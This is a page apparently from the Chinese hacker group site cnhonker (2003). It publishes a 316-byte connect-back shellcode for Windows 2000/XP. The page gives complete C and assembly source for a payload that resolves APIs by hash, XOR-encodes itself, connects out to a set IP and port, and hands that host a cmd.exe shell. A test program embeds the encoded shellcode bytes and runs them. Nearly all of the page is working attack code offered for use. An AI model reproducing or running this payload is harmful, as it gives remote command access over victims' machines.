快速通道

文档分类

- 软件作品
- 文档作品
- **代码作品**

<=

推荐作品

- Windows RPC DCOM DoS exploit
- Serv-U FTPD 2.x/3.x/4.x/5.x "MDTM" Command Rem...
- Mysql 3.23.x/4.0.x remote exploit
- download url file shellcode for win2k/xp
- 利用hash值取得函数地址的connect back shellcode.
- 分析理解elf文件并且自动编排shellcode的程序

316 bytes connectback shellcode for 2k/xp

提交作品： lion
提交日期： 2003-10-22
作品属性： 推荐
文档类别： 代码作品
浏览次数： 今3次/总3764次

```
/*************************************************************************

作者: lion, lion@cnhonker.net
日期: 2003-10-22
网站: http://www.cnhonker.com

此shellcode为 《利用hash值取得函数地址的connect back shellcode》的改进版。
该文档地址为：http://www.cnhonker.com/index.php?module=releases&act=view&ty

改进和特点：
    1. 通过peb取得kernel32.dll地址。
    2. 通过函数的hash值来进行比较，代替GetProcAddress取得函数地址，节省函数名占用的
    3. 反连接功能。
    4. 利用循环获取hash值和函数地址，节省空间。
    5. 添加了WaitForSingleObject，使产生出的shell更稳定。
    6. 修改了原来shellcode中存在\x0a的问题。
    7. 用vc6可以命令行直接编译，方便修改。
    8. win2000/xp测试成功。
    9. 比较小巧，长度为316 bytes。

*************************************************************************

#include <stdio.h>
#include <windows.h>

//#include <winsock2.h>
//#pragma comment(lib, "ws2_32")

void    shellcode();
void    printsc(unsigned char *sc, int len);


DWORD    addr;
unsigned char hash[0x300];
unsigned char sc[0x1000];

// 要打印hash的函数列表
```

```
unsigned char buff[]=
"LoadLibraryA\x0"
"CreateProcessA\x0"
"WaitForSingleObject\x0"
"ExitProcess\x0"
//"ExitThread\x0"
"WSAStartup\x0"
"WSASocketA\x0"
"connect\x0"
"closesocket\x0";

// 取得函数的hash值
static DWORD __stdcall GetHash ( char *c )
{
  DWORD h = 0;

  while ( *c )
  {
      __asm ror h, 13

      h += *c++;
  }
  return( h );
}



void main()
{

   unsigned   char   temp;
   unsigned   char   *shellcodefnadd, *start;
   int          k;
   char       *fnendstr   =   "\x90\x90\x90\x90\x90\x90\x90\x90";
   #define       FNENDLONG       0x08

   int          all, i, j,n;
   //int port = 53;
   char       *p;
   DWORD       h;
//    WSADATA       wsa;

//    WSAStartup(MAKEWORD(2,2),&wsa);

   memset(hash, 0, sizeof(hash));
   memset(sc, 0, sizeof(sc));

   // 定位shellcodefnlock的汇编代码
   shellcodefnadd = (unsigned char*)shellcode;
   temp = *shellcodefnadd;
   if(temp == 0xe9)
   {
        ++shellcodefnadd;
        k=*(int *)shellcodefnadd;
        shellcodefnadd+=k;
        shellcodefnadd+=4;
   }

   // 定位shellcode的起始地址
   for(k=0; k <= 0x500; ++k)
   {
      if(memcmp(shellcodefnadd+k, fnendstr, FNENDLONG)==0) break;
   }

   // shellcodefnadd+k+8 是得到的shellcodefnlock汇编代码地址
   start = shellcodefnadd+k+8;
```

```
    // 定位 shellcode 长度
    for(k=0; k <= 0x500; ++k)
    {
       if(memcmp(start+k, fnendstr, FNENDLONG) == 0) break;
    }

    //printf("%x\n", htons(port));

    j = 0;
    n = 0;

    // 循环从列表中计算并打印出函数hash值
    for(i=0; i<sizeof(buff); i++)
    {
       p = &buff[i-j+1];


       if(buff[i] == 0x00)
       {
          if(i == j)
          {
             p = &buff[0];
          }

          printf("#%d i:%d ", j, i);
          j = 0;
          h = GetHash(p);
          memcpy(hash+n, &h, 4);
          n += 4;

          printf("%s Hash: 0x%08X\n", p, h);
          if(buff[i+1] == 0x00) break;

       }

       printf(".");
       j ++;
    }

    all = k + strlen(hash);

    memcpy(sc, start, k);
    memcpy(&sc[k], hash, strlen(hash));

    printf("\nShellcodeLen: %d\n\n", all);
    for(k=0; k <= all-3; ++k)
    {
       if(sc[k] == 0x00 && sc[k+1] == 0x35) printf("port offset: %d\r\n\n", k);
       if(sc[k] == 0x7F && sc[k+3] == 0x01) printf("ip offset: %d\r\n", k);
    }

    // ================== print ======================
///*
    // decode 长度为23字节
    k = all - 23;
    memcpy(sc+8, &k, 2);
    printsc (sc, 23);

    // xor shellcode 0x99
    for(i=23; i < all; i++)
    {
       sc[i] ^= 0x99;
    }

    printsc (sc+23, all-23);
```

```
//*/
//    printsc(sc, all);

    addr = (DWORD)&sc;

    __asm
    {
        jmp       addr
    }

    return;
}


void printsc(unsigned char *sc, int len)
{
    int    l;

    // 打印 普通shellcode
    for(l = 0; l < len; l++)
    {
        if(l == 0) printf("\"");
        if((l%16 == 0) && (l != 0))printf("\"\n\"");

        printf("\\x%.2X", sc[l]);

        if(l == len-1) printf("\"");
    }

    printf("\n\n");

/*
    // 打印 iis unicode shellcode
    for(l = 0; l < len; l += 2)
    {
        if(l == 0) printf("\"");
        if((l%16 == 0) && (l != 0))printf("\"\n\"");

        printf("%%u%.2X%.2X", sc[l+1], sc[l]);

        if(l == len-2) printf("\"");
    }
*/
}

void shellcode (void)
{
    __asm
    {
        nop
        nop
        nop
        nop
        nop
        nop
        nop
        nop
    }

    __asm
    {
//-------------------------------------------------------------------
//
// 解码开始
//
```

```
//-------------------------------------------------------------------

      jmp      decode_end

decode_start:

      pop      ebx              // 得到解码开始位置 esp -> ebx
      dec      ebx
      xor      ecx,ecx
      mov      cx,0x125         // 要解码shellcode长度

decode_loop:

      xor      byte ptr [ebx+ecx], 0x99
      loop   decode_loop
      jmp      decode_ok

decode_end:

      call    decode_start

decode_ok:

//-------------------------------------------------------------------
//
//  shellcode开始
//
//-------------------------------------------------------------------
// ====== 分配空间存放函数地址 ======
//       sub esp, 40

      jmp end

start:

      pop edi                         // hash string start addr



      /*
         [esi] stack layout

         00 kernel32.dll
          [esi]    LoadLibraryA
          [esi+04] CreateProcessA
          [esi+08] WaitForSingleObject
          [esi+12] ExitProcess

         01 ws2_32.dll
          [esi+16] WSAStartup
          [esi+20] WSASocketA
          [esi+24] connect
          [esi+28] closesocket
      */


//-------------------------------------------------------------------
//
// 由hash值和dll基地址取得函数地址
//
//-------------------------------------------------------------------
//LoadFunctions:

      // ====== 取得kernel32的基地址 ======
      mov eax, fs:0x30                  // PEB
      mov eax, [eax + 0x0c]               // PROCESS_MODULE_INFO
```

```
    mov esi, [eax + 0x1c]             // InInitOrder.flink
    lodsd                          // eax = InInitOrder.blink
    mov ebp, [eax + 0x08]             // ebp = kernel32.dll base address

    // ====== hash 地址-> esi ======
    mov esi, edi

    // ====== 取得 kernel32.dll 中的函数地址 ======
    push 4
    pop ecx

getkernel32:

    call LGetProcAddress
    loop getkernel32

    // ====== 取得 WS2_32.DLL 函数地址 ======
    push 0x00003233
    push 0x5f327377
    push esp
    call [esi]
    mov ebp, eax

    // ====== 取得ws2_32中的函数地址 ======
    push 4
    pop ecx

getws2_32:

    call LGetProcAddress
    loop getws2_32

//----------------------------------------------------------------------
//
// 反连开始
//
//----------------------------------------------------------------------
//LWSAStartup:

    // ====== WSAStartup(0x101, &WSADATA[400 bytes!]); ======
    sub esp, 400
    push esp
    push 0x101
    call [esi + 16]

//LWSASocketA:

    // ====== s = WSASocketA(2,1,0,0,0,0); ======
    push eax
    push eax
    push eax
    push eax
    inc eax
    push eax
    inc eax
    push eax
    call [esi + 20]

    mov ebx, eax                  // socket句柄保存在ebx

//LReconnect:

    // ====== connect(s, host, port); ======
    push 0x0100007F               // host: 127.0.0.1
    push 0x35000002               // port: 53
    mov ecx, esp
```

```
        push 0x10
        push ecx
        push ebx
        call [esi + 24]

       // ====== 如果连接不成功,则退出 ======
        test eax, eax
        jne LFinished


//LPushCmd:

        // ====== push "cmd"  ======
        push    0x00646d63
        mov       [esi + 48], esp

//LCreateProcessStructs:

        // ====== 为 STARTUPINFO, PROCESS_INFORMATION 分配空间 ======
        sub esp, 16 + 68

        // ====== zero out SI/PI ======
        lea edi, [esp]
        push 21
        pop ecx

LBzero:

        stosd
        loop LBZero

        mov [esp + 16], 68                  // si.cb = sizeof(si)
        inc [esp + 61]                     // si.dwFlags = 0x100

        // ====== 进程的输入输出出错句柄指定为输出到 socket  ======
       //mov    [esp + 16 + 45], 0x01       // dwFlags
       //mov    [esp + 16 + 48],0          // wShowWindow
        mov [esp + 16 + 56], ebx            // si.hStdInput = s
        mov [esp + 16 + 60], ebx            // hStdOutput = s
        mov [esp + 16 + 64], ebx           // hStdError = s


//LCreateProcess:

       // ====== CreactProcessA(NULL,"CMD",0,0,1,0,0,0,si,pi); ======
        lea eax, [esp + 16]
        push esp                    // pi
        push eax                    // si
        push ecx                    // lpCurrentDirectory
        push ecx                    // lpEnvironment
        push ecx                    // dwCreationFlags
        push 1                     // bInheritHandles
        push ecx                    // lpThreadAttributes
        push ecx                    // lpProcessAttributes
        push [esi + 48]               // lpCommandLine =  "cmd"
        push ecx                    // lpApplicationName NULL

        call [esi + 4]              // CreateProcessA
        mov ecx, esp


//LWaitForSingleObject:
        // ===== WaitForSingleObject(Handle, time); =====

        push 0xFFFFFFFF
        push dword ptr [ecx]
```

```
        call [esi + 8]

//LCloseSocket:

       // ===== CloseSocket(s); =====
        push ebx
        call [esi + 28]


LFinished:

        // ===== ExitProcess(); =====
        //push 1
        call [esi + 12]

//-------------------------------------------------------------------
//
//  LGetProcAddress();
//
//-------------------------------------------------------------------
LGetProcAddress:

        push ecx
        push esi

        mov eax, dword ptr [ebp+0x3C]
        mov edx, dword ptr [eax+ebp+0x78]
        add edx, ebp
        push edx
        mov esi, dword ptr [edx+0x20]
        add esi, ebp
        xor ecx, ecx
        dec ecx

LGetProc1:
        inc ecx
        lodsd
        add eax, ebp
        xor ebx, ebx

LGetProc2:
//        xor edx, edx
        movsx edx, byte ptr [eax]
        cmp dl, dh
        je LGetProc3
        ror ebx, 13
        add ebx, edx
        inc eax
        jmp LGetProc2

LGetProc3:
        cmp ebx, dword ptr [edi]
        jne LGetProc1
        pop edx
        mov ebx, dword ptr [edx+0x24]       // ebx = ordinals table RNA
        add ebx, ebp
        mov cx, word ptr [ebx+2*ecx]       // ecx = function ordinal
        mov ebx, dword ptr [edx+0x1C]       // ebx = address table RVA
        add ebx, ebp
        mov eax, dword ptr [ebx+4*ecx]       // eax = address of function RVA
        add eax, ebp                     // eax = address of function
        stosd                          // function addr to [edi]

        pop esi
        pop ecx
        ret
```

```
end:
   call start
   }

   __asm
   {
      nop
      nop
      nop
      nop
      nop
      nop
      nop
      nop
   }
}
```

如下为测试文件:

```
#include <winsock2.h>

#pragma comment(lib, "ws2_32")

// change this
#define PORT        53
#define IP          "127.0.0.1"

// don't change the offset
#define PORT_OFFSET  118
#define IP_OFFSET    111

// connectback shellcode len 316 bytes
unsigned char cbshellcode[]=
"\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\x25\x01\x80\x34\x0B\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF"

"\x70\x62\x99\x99\x99\xC6\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
"\xE9\x85\x34\x12\xF1\x91\x12\x6E\xF3\x9D\xC0\x71\x02\x99\x99\x99"
"\x7B\x60\xF1\xAA\xAB\x99\x99\xF1\xEE\xEA\xAB\xC6\xCD\x66\x8F\x12"
"\x71\xF3\x9D\xC0\x71\x1B\x99\x99\x99\x7B\x60\x18\x75\x09\x98\x99"
"\x99\xCD\xF1\x98\x98\x99\x99\x66\xCF\x89\xC9\xC9\xC9\xC9\xD9\xC9"
"\xD9\xC9\x66\xCF\x8D\x12\x41\xF1\xE6\x99\x99\x98\xF1\x9B\x99\x99"
"\xAC\x12\x55\xF3\x89\xC8\xCA\x66\xCF\x81\x1C\x59\xEC\xD3\xF1\xFA"
"\xF4\xFD\x99\x10\xFF\xA9\x1A\x75\xCD\x14\xA5\xBD\xF3\x8C\xC0\x32"
"\x7B\x64\x5F\xDD\xBD\x89\xDD\x67\xDD\xBD\xA4\x10\xC5\xBD\xD1\x10"
"\xC5\xBD\xD5\x10\xC5\xBD\xC9\x14\xDD\xBD\x89\xCD\xC9\xC8\xC8\xC8"
"\xF3\x98\xC8\xC8\x66\xEF\xA9\xC8\x66\xCF\x9D\x12\x55\xF3\x66\x66"
"\xA8\x66\xCF\x91\xCA\x66\xCF\x85\x66\xCF\x95\xC8\xCF\x12\xDC\xA5"
"\x12\xCD\xB1\xE1\x9A\x4C\xCB\x12\xEB\xB9\x9A\x6C\xAA\x50\xD0\xD8"
"\x34\x9A\x5C\xAA\x42\x96\x27\x89\xA3\x4F\xED\x91\x58\x52\x94\x9A"
"\x43\xD9\x72\x68\xA2\x86\xEC\x7E\xC3\x12\xC3\xBD\x9A\x44\xFF\x12"
"\x95\xD2\x12\xC3\x85\x9A\x44\x12\x9D\x12\x9A\x5C\x32\xC7\xC0\x5A"
"\x71\x99\x66\x66\x66\x17\xD7\x97\x75\xEB\x67\x2A\x8F\x34\x40\x9C"
"\x57\xE7\x41\x7B\xEA\x52\x74\x65\xA2\x40\x90\x6C\x34\x75\x60\x33"
"\xF9\x7E\xE0\x5F\xE0";

void main()
{
   WSADATA wsa;
   unsigned short    port;
   unsigned long     ip;

   WSAStartup(MAKEWORD(2,2),&wsa);
```

```
    port = htons(PORT)^(USHORT)0x9999;
    ip = inet_addr(IP)^(ULONG)0x99999999;

    memcpy(&cbshellcode[PORT_OFFSET], &port, 2);
    memcpy(&cbshellcode[IP_OFFSET], &ip, 4);

   __asm
   {
       lea eax,cbshellcode
       jmp eax
   }
}
```

返回上页

Copyright © 2000-2004 **HUC** All Rights Reserved.
中国红客网络技术联盟 www.cnhonker.com
webmaster@cnhonker.net